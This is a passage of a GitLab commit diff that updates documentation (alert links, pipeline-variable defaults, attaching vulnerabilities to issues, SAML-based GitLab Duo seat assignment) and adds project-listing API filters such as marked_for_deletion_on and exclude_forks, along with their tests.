no CAPTCHA popup displays. You are prevented from submitting the form at all.

View File

@ -62,7 +62,7 @@ Alerts contain one of the following icons:
## Alert details page
Go to the Alert details view by visiting the [Alert list](alerts.md) and selecting an alert from the list. You need at least the Developer role to access alerts. Select any alert in the list to examine its alert details page.
Go to the Alert details view by visiting the [Alert list](#alert-list) and selecting an alert from the list. You need at least the Developer role to access alerts. Select any alert in the list to examine its alert details page.
Alerts provide **Overview** and **Alert details** tabs to give you the right amount of information you need.

View File

@ -84,7 +84,7 @@ side of the integrations list.
#### Map fields in custom alerts
You can integrate your monitoring tool's alert format with GitLab alerts. To show the
correct information in the [Alert list](alerts.md) and the
correct information in the [Alert list](alerts.md#alert-list) and the
[Alert Details page](alerts.md#alert-details-page), map your alert's fields to
GitLab fields when you [create an HTTP endpoint](#http-endpoints):

View File

@ -7782,12 +7782,9 @@ This change has been removed from its original milestone and is being reassessed
GitLab believes in secure-by-default practices. To honor this, we are making some changes to support least privilege principles relating to the use of CI/CD variables.
Today, users with the Developer role or higher are able to use [pipeline variables](https://docs.gitlab.com/ci/variables/#use-pipeline-variables) by default, without any verification or opt-in.
In 18.0, GitLab is updating the [pipeline variable restrictions](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables) to default enabled.
As a result of this change, the ability to use pipeline CI/CD variables will be restricted for all users by default.
If necessary, you can manually update this setting with a minimum role that is allowed to use pipeline variables, though it's recommended to keep this as restricted as possible.
You can already start using a more secure-by-default experience for pipeline variables by raising the minimum role to the recommended [Owner only, or no one](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables).
Starting in 17.7, this is the default for all new projects in new namespaces on GitLab.com.
Starting in 17.7, `no one allowed` is the default for all new projects in new namespaces on GitLab.com.
</div>

View File

@ -348,6 +348,77 @@ For each selected vulnerability:
![Vulnerability Severity Override](img/vulnerability_severity_change_v17_10.png)
## Add vulnerabilities to an existing issue
{{< history >}}
- [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/13216) in GitLab 17.9 [with a flag](../../../administration/feature_flags.md) named `enhanced_vulnerability_bulk_actions`. Disabled by default.
{{< /history >}}
{{< alert type="flag" >}}
The availability of this feature is controlled by a feature flag.
For more information, see the history.
{{< /alert >}}
You can link one or more vulnerabilities to existing issues in the vulnerability report.
Prerequisites:
- You must have at least the Maintainer role for the project or the `admin_vulnerability` permission in a custom role. The `admin_vulnerability` permission was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/412693) from the Developer role in GitLab 17.0.
To attach vulnerabilities to an existing issue:
1. On the left sidebar, select **Search or go to** and find your project or group.
1. Go to **Secure > Vulnerability report**.
1. Select vulnerabilities:
- To select individual vulnerabilities, select the checkbox beside each vulnerability.
- To select all vulnerabilities on the page, select the checkbox in the table header.
1. In the **Select action** dropdown list, select **Attach to existing issue**.
1. In the **Enter issue URL or <#issue ID>** text box, enter the ID of an issue to autocomplete, or add the URL of the issue. You can enter multiple issues to add the vulnerabilities to.
1. Select **Add**.
Each selected vulnerability will be linked to all of the specified issues.
![Attach vulnerabilities to an existing issue](img/vulnerability_attach_existing_issue_v18_0.png)
## Add vulnerabilities to a new issue
{{< history >}}
- [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/13216) in GitLab 17.9 [with a flag](../../../administration/feature_flags.md) named `new_issue_attachment_from_vulnerability_bulk_action`. Disabled by default.
{{< /history >}}
{{< alert type="flag" >}}
The availability of this feature is controlled by a feature flag.
For more information, see the history.
{{< /alert >}}
You can link one or more vulnerabilities to a new issue.
Prerequisites:
- You must have at least the Maintainer role for the project or the `admin_vulnerability` permission in a custom role. The `admin_vulnerability` permission was [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/412693) from the Developer role in GitLab 17.0.
To attach vulnerabilities to a new issue:
1. On the left sidebar, select **Search or go to** and find your project or group.
1. Go to **Secure > Vulnerability report**.
1. Select vulnerabilities:
- To select individual vulnerabilities, select the checkbox beside each vulnerability.
- To select all vulnerabilities on the page, select the checkbox in the table header.
1. In the **Select action** dropdown list, select **Attach to new issue**.
1. Select **Create issue**.
You will be redirected to a new issue. Each selected vulnerability is already linked to it.
![Attach vulnerabilities to a new issue](img/vulnerability_attach_new_issue_v18_0.png)
## Sort vulnerabilities by date detected
By default, vulnerabilities are sorted by severity level, with the highest-severity vulnerabilities listed at the top.

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

View File

@ -292,7 +292,7 @@ To link the SAML groups:
{{< history >}}
- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/480766) for GitLab.com in GitLab 17.8 [with a flag](../../../administration/feature_flags.md) named `saml_groups_duo_pro_add_on_assignment`. Disabled by default.
- [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/512141) for Self-Managed in GitLab 17.11.
{{< /history >}}
Prerequisites:
@ -301,6 +301,12 @@ Prerequisites:
SAML Group Sync can manage GitLab Duo seat assignment and removal based on IdP group membership. Seats are only assigned when there are seats remaining in the subscription.
{{< tabs >}}
{{< tab title="GitLab.com" >}}
To configure for GitLab.com:
1. When [configuring a SAML Group Link](#configure-saml-group-links), select the **Assign GitLab Duo seats to users in this group** checkbox.
1. Select **Save**.
1. Repeat to add additional group links for all SAML users that should be assigned a GitLab Duo Pro or GitLab Duo Enterprise seat.
@ -308,6 +314,37 @@ SAML Group Sync can manage GitLab Duo seat assignment and removal based on IdP g
The checkbox does not appear for groups without an active GitLab Duo add-on subscription.
{{< /tab >}}
{{< tab title="GitLab Self-Managed" >}}
To configure Self-Managed:
1. Configure the [SAML OmniAuth Provider](../../../integration/saml.md).
1. Ensure your configuration includes `groups_attribute` and `duo_add_on_groups`. Any users who are a member of one or more of the `duo_add_on_groups` will have a GitLab Duo seat assigned, if a seat is available. See the following provider configuration example in `/etc/gitlab/gitlab.rb` for reference:
```ruby
gitlab_rails['omniauth_providers'] = [
{
name: "saml",
label: "Provider name",
groups_attribute: 'Groups',
duo_add_on_groups: ['Developers', 'Freelancers'],
args: {
assertion_consumer_service_url: "https://gitlab.example.com/users/auth/saml/callback",
idp_cert_fingerprint: "43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8",
idp_sso_target_url: "https://login.example.com/idp",
issuer: "https://gitlab.example.com",
name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
}
}
]
```
{{< /tab >}}
{{< /tabs >}}
## Microsoft Azure Active Directory integration
{{< history >}}

View File

@ -834,9 +834,11 @@ module API
finder_params[:user] = params.delete(:user) if params[:user]
finder_params[:id_after] = sanitize_id_param(params[:id_after]) if params[:id_after]
finder_params[:id_before] = sanitize_id_param(params[:id_before]) if params[:id_before]
finder_params[:updated_after] = declared_params[:updated_after] if declared_params[:updated_after]
finder_params[:updated_before] = declared_params[:updated_before] if declared_params[:updated_before]
finder_params[:include_pending_delete] = declared_params[:include_pending_delete] if declared_params[:include_pending_delete]
%i[updated_after updated_before include_pending_delete marked_for_deletion_on].each do |param|
finder_params[param] = declared_params[param] if declared_params[param]
end
finder_params
end

View File

@ -180,6 +180,7 @@ module API
optional :updated_before, type: DateTime, desc: 'Return projects updated before the specified datetime. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ'
optional :updated_after, type: DateTime, desc: 'Return projects updated after the specified datetime. Format: ISO 8601 YYYY-MM-DDTHH:MM:SSZ'
optional :include_pending_delete, type: Boolean, desc: 'Include projects in pending delete state. Can only be set by admins'
optional :marked_for_deletion_on, type: Date, desc: 'Date when the project was marked for deletion'
use :optional_filter_params_ee
end

View File

@ -123,6 +123,10 @@ module Gitlab
converted_params[:include_forked] = Gitlab::Utils.to_boolean(converted_params[:include_forked])
end
if converted_params.key?(:exclude_forks)
converted_params[:exclude_forks] = Gitlab::Utils.to_boolean(converted_params[:exclude_forks])
end
converted_params
end
end

View File

@ -197,5 +197,4 @@ spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js
spec/frontend/vue_shared/components/upload_dropzone/upload_dropzone_spec.js
spec/frontend/vue_shared/directives/tooltip_on_truncate_spec.js
spec/frontend/vue_shared/directives/track_event_spec.js
spec/frontend/webhooks/components/push_events_spec.js
spec/frontend/work_items/components/work_item_description_rendered_spec.js

View File

@ -13,9 +13,9 @@ import namespaceWorkItemTypesQuery from '~/work_items/graphql/namespace_work_ite
import convertWorkItemMutation from '~/work_items/graphql/work_item_convert.mutation.graphql';
import getWorkItemDesignListQuery from '~/work_items/components/design_management/graphql/design_collection.query.graphql';
import {
WORK_ITEM_TYPE_NAME_TASK,
WORK_ITEM_TYPE_NAME_EPIC,
WORK_ITEM_TYPE_NAME_ISSUE,
WORK_ITEM_TYPE_ENUM_EPIC,
WORK_ITEM_TYPE_NAME_TASK,
} from '~/work_items/constants';
import {
@ -37,6 +37,10 @@ describe('WorkItemChangeTypeModal component', () => {
const taskTypeId = namespaceWorkItemTypesQueryResponse.data.workspace.workItemTypes.nodes.find(
(type) => type.name === WORK_ITEM_TYPE_NAME_TASK,
).id;
const epicTypeId = namespaceWorkItemTypesQueryResponse.data.workspace.workItemTypes.nodes.find(
(item) => item.name === WORK_ITEM_TYPE_NAME_EPIC,
).id;
namespaceWorkItemTypesQueryResponse.data.workspace.workItemTypes.nodes
.find((item) => item.name === WORK_ITEM_TYPE_NAME_TASK)
.widgetDefinitions.splice(
@ -73,7 +77,7 @@ describe('WorkItemChangeTypeModal component', () => {
workItemType = WORK_ITEM_TYPE_NAME_TASK,
convertWorkItemMutationHandler = convertWorkItemMutationSuccessHandler,
designQueryHandler = noDesignQueryHandler,
allowedWorkItemTypesEE = [],
allowedConversionTypesEE = [],
} = {}) => {
wrapper = mountExtended(WorkItemChangeTypeModal, {
apolloProvider: createMockApollo([
@ -90,7 +94,7 @@ describe('WorkItemChangeTypeModal component', () => {
widgets,
workItemType,
allowedChildTypes: [{ name: WORK_ITEM_TYPE_NAME_TASK }],
allowedWorkItemTypesEE,
allowedConversionTypesEE,
},
provide: {
glFeatures: {
@ -202,22 +206,22 @@ describe('WorkItemChangeTypeModal component', () => {
});
it('shows no value present message if value of the widget is not present on conversion', async () => {
const allowedWorkItemTypesEE = [
const allowedConversionTypesEE = [
{
text: 'Epic (Promote to group)',
value: WORK_ITEM_TYPE_ENUM_EPIC,
id: epicTypeId,
name: WORK_ITEM_TYPE_NAME_EPIC,
},
];
createComponent({
workItemType: WORK_ITEM_TYPE_NAME_ISSUE,
widgets: [workItemChangeTypeWidgets.MILESTONE],
workItemsAlpha: true,
allowedWorkItemTypesEE,
allowedConversionTypesEE,
});
await waitForPromises();
findGlFormSelect().vm.$emit('change', WORK_ITEM_TYPE_ENUM_EPIC);
findGlFormSelect().vm.$emit('change', epicTypeId);
await nextTick();

View File

@ -10,25 +10,23 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
let_it_be(:user) { create(:user, :with_namespace) }
let_it_be(:group) { create(:group, name: 'public-group') }
let_it_be(:private_group) { create(:group, name: 'private-group') }
let_it_be(:project) { create(:project, :public, topic_list: %w[ruby javascript]) }
let_it_be(:private_group) { create(:group, name: 'private-group', developers: user) }
let_it_be(:project) { create(:project, :public, topic_list: %w[ruby javascript], developers: user) }
let_it_be(:other_project) { create(:project, :public) }
let_it_be(:group_project) { create(:project, :public, group: group) }
let_it_be(:private_project) { create(:project, :private) }
let_it_be(:private_project) { create(:project, :private, developers: user) }
let_it_be(:other_private_project) { create(:project, :private) }
let_it_be(:private_group_project) { create(:project, :private, group: private_group) }
let_it_be(:private_personal_project) { create(:project, :private, namespace: user.namespace) }
let_it_be(:other_org) { create(:organization, :private) }
let_it_be(:other_org_project) { create(:project, organization: other_org, topic_list: ['postgres']) }
let_it_be(:marked_for_deletion_on) { Date.yesterday }
let_it_be(:project_marked_for_deletion) do
create(:project, marked_for_deletion_at: marked_for_deletion_on, developers: user)
end
let(:filters) { {} }
before_all do
project.add_developer(user)
private_project.add_developer(user)
private_group.add_developer(user)
end
before do
::Current.organization = organization
end
@ -104,7 +102,8 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
let(:current_user) { user }
let(:organization) { user.organizations.first }
let(:visible_projects) do
[project, other_project, group_project, private_project, private_group_project, private_personal_project]
[project, other_project, group_project, private_project, private_group_project, private_personal_project,
project_marked_for_deletion]
end
context 'when no filters are applied' do
@ -112,6 +111,26 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
is_expected.to match_array(visible_projects)
end
context 'when aimedForDeletion filter is true' do
let(:filters) { { aimed_for_deletion: true } }
it { is_expected.to contain_exactly(project_marked_for_deletion) }
end
context 'with markedForDeletion filters', :freeze_time do
context 'when a project has been marked for deletion on the given date' do
let(:filters) { { marked_for_deletion_on: marked_for_deletion_on } }
it { is_expected.to contain_exactly(project_marked_for_deletion) }
end
context 'when no projects have been marked for deletion on the given date' do
let(:filters) { { marked_for_deletion_on: (marked_for_deletion_on - 2.days) } }
it { is_expected.to be_empty }
end
end
context 'when search filter is provided' do
let(:filters) { { search: project.name } }
@ -124,7 +143,9 @@ RSpec.describe Resolvers::ProjectsResolver, feature_category: :source_code_manag
let(:filters) { { membership: true } }
it 'returns projects that user is member of' do
is_expected.to contain_exactly(project, private_project, private_group_project, private_personal_project)
is_expected.to contain_exactly(
project, private_project, private_group_project, private_personal_project, project_marked_for_deletion
)
end
end

View File

@ -217,6 +217,18 @@ RSpec.describe Gitlab::Search::Params, feature_category: :global_search do
end
end
end
describe 'for exclude_forks' do
let(:params) { ActionController::Parameters.new(group_id: 123, search: search, exclude_forks: input) }
include_context 'with inputs'
with_them do
it 'transforms param' do
expect(search_params[:exclude_forks]).to eq(expected)
end
end
end
end
describe 'converts not params' do

View File

@ -1043,6 +1043,33 @@ RSpec.describe API::Projects, :aggregate_failures, feature_category: :groups_and
end
end
context 'when using the marked_for_deletion_on filter' do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group, owners: user) }
let_it_be(:marked_for_deletion_project) do
create(:project, marked_for_deletion_at: Date.parse('2024-01-01'), group: group)
end
it 'returns groups marked for deletion on the specified date' do
get api("/projects", user), params: { marked_for_deletion_on: Date.parse('2024-01-01') }
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
expect(json_response.map { |project| project["id"] }).to contain_exactly(marked_for_deletion_project.id)
expect(json_response.map { |project| project["marked_for_deletion_on"] }).to contain_exactly(Date.parse('2024-01-01').iso8601)
end
it 'returns all projects when marked_for_deletion_on is not specified' do
get api("/projects", user)
expect(response).to have_gitlab_http_status(:ok)
expect(response).to include_pagination_headers
expect(json_response).to be_an Array
expect(json_response.map { |project| project["id"] }).to contain_exactly(public_project.id, marked_for_deletion_project.id)
end
end
context 'filtering by repository_storage' do
before do
[project, project3].each { |proj| proj.update_columns(repository_storage: 'nfs-11') }